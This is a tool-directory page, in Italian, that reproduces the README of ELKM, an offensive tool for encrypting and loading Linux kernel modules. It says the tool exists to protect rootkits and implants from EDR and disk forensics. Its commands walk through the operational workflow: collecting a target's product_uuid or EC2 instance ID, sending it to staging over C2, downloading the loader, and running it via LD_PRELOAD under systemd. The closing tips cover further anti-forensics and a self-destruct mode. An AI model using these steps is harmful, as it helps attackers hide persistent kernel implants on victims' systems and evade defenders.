Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
encrypted-linux-kernel-modules — encrypted-linux-kernel-modules | Kitploit
Strumenti/GitHubGitHub/cenobyte-vincit/encrypted-linux-kernel-modules
Escalation di PrivilegiStrumenti di Crittografia/DecrittografiaMeccanismi di PersistenzaEvasione IDS/IPSPost-ExploitCommand and ControlRed TeamingSviluppo Payload

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
cenobyte-vincit/encrypted-linux-kernel-modules

encrypted-linux-kernel-modules

encrypted-linux-kernel-modules

Vedi Repository
1335 anni faNon ancora revisionato

ELKM: Moduli Kernel Caricabili Linux x86-64 Crittografati

ELKM fornisce un meccanismo per trasportare e caricare in modo sicuro Moduli Kernel Caricabili (LKM) crittografati. L'obiettivo è proteggere rootkit e implant basati sul kernel dall'osservazione da parte del software Endpoint Detection and Response (EDR) e neutralizzare gli effetti del recupero da parte degli strumenti di analisi forense del disco.

RHEL/CentOS 7

ELKM è stato scritto specificamente per RHEL/CentOS 7 x86-64.

root@kitploit:~
kernel-tools-libs-3.10.0-1127.18.2.el7.x86_64
kernel-devel-3.10.0-1127.18.2.el7.x86_64
kernel-tools-3.10.0-1127.18.2.el7.x86_64
kernel-headers-3.10.0-1127.18.2.el7.x86_64
kernel-3.10.0-1127.18.2.el7.x86_64

Preparare l'ambiente di build

root@kitploit:~
sudo yum install glibc-static -y
sudo yum install kernel-devel -y
sudo yum install kernel-headers -y
sudo yum install openssl-devel -y
sudo yum install libcurl-devel -y

Test automatico locale

Lo script di test esegue 4 test:

  • Password fornita tramite /sys/class/dmi/id/product_uuid
  • Password fornita tramite http://169.254.169.254/latest/meta-data/instance-id (quando si è su EC2)
  • Password fornita tramite le variabili d'ambiente
  • Password fornita tramite stdin
root@kitploit:~
$ make
$ sudo ./test.sh
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules clean
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
  CLEAN   /home/test/encrypted-kernel-modules/.tmp_versions
  CLEAN   /home/test/encrypted-kernel-modules/Module.symvers
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
rm -f loader.so
rm -f payloadfuser
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules modules
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
  CC [M]  /home/test/encrypted-kernel-modules/kernel-module.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/test/encrypted-kernel-modules/kernel-module.mod.o
  LD [M]  /home/test/encrypted-kernel-modules/kernel-module.ko
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
gcc -o loader.so loader.c -fPIC -shared -ldl -lcrypto -Wall
gcc -o payloadfuser payloadfuser.c -lcrypto -Wall
strip --strip-unneeded kernel-module.ko
strip --strip-unneeded loader.so
strip payloadfuser
--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password '07EC86F1-957C-6B4E-9134-7A6DE5ACC99C', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-ENV-KEY', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-STDIN-KEY', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

Compilazione e creazione manuale del payload di test

root@kitploit:~
make
./payloadfuser ./kernel-module.ko ./loader.so dummykey
FOO=dummykey LD_PRELOAD=./loader.so /usr/lib/systemd/systemd

Uso operativo

Vincolare ELKM a un sistema specifico

Tramite product_uuid

Sul sistema di destinazione:

root@kitploit:~
cat /sys/class/dmi/id/product_uuid

Nota: questa operazione dovrebbe essere eseguita in modo automatico, ad esempio tramite un dropper. Inviare il product_uuid all'infrastruttura di staging via C2.

Sull'infrastruttura di staging:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so $uuid

Sul sistema di destinazione, scaricare il loader dall'infrastruttura di staging ed eseguirlo tramite un eseguibile attendibile:

root@kitploit:~
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
Tramite EC2 instance ID

Sul sistema di destinazione:

root@kitploit:~
curl http://169.254.169.254/latest/meta-data/instance-id

Nota: questa operazione dovrebbe essere eseguita in modo automatico, ad esempio tramite un dropper. Inviare l'instance ID all'infrastruttura di staging via C2.

Sull'infrastruttura di staging:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so $instanceid

Sul sistema di destinazione, scaricare il loader dall'infrastruttura di staging ed eseguirlo tramite un eseguibile attendibile:

root@kitploit:~
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd

Per impostare la password per l'uso tramite variabili d'ambiente o shell interattiva

Sull'infrastruttura di staging:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so PASSWORD

Sul sistema di destinazione, tramite le variabili d'ambiente:

root@kitploit:~
# FOO=PASSWORD LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
#

Oppure tramite stdin:

root@kitploit:~
# LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
THISISMYINTERACTIVEPASSWORD
#

Suggerimenti

Alcuni suggerimenti se si desidera distribuire ELKM in ambito operativo:

  • Non compilare con 'debug'
  • Cambiare i nomi delle funzioni
  • Implementare ulteriori tecniche anti-forensi
  • Valutare la sostituzione di OpenSSL con un'altra libreria crittografica
  • Implementare una modalità di autodistruzione quando le password falliscono

Abbiamo scelto di non implementare queste funzionalità per evitare il fingerprinting.

Scarica lo strumento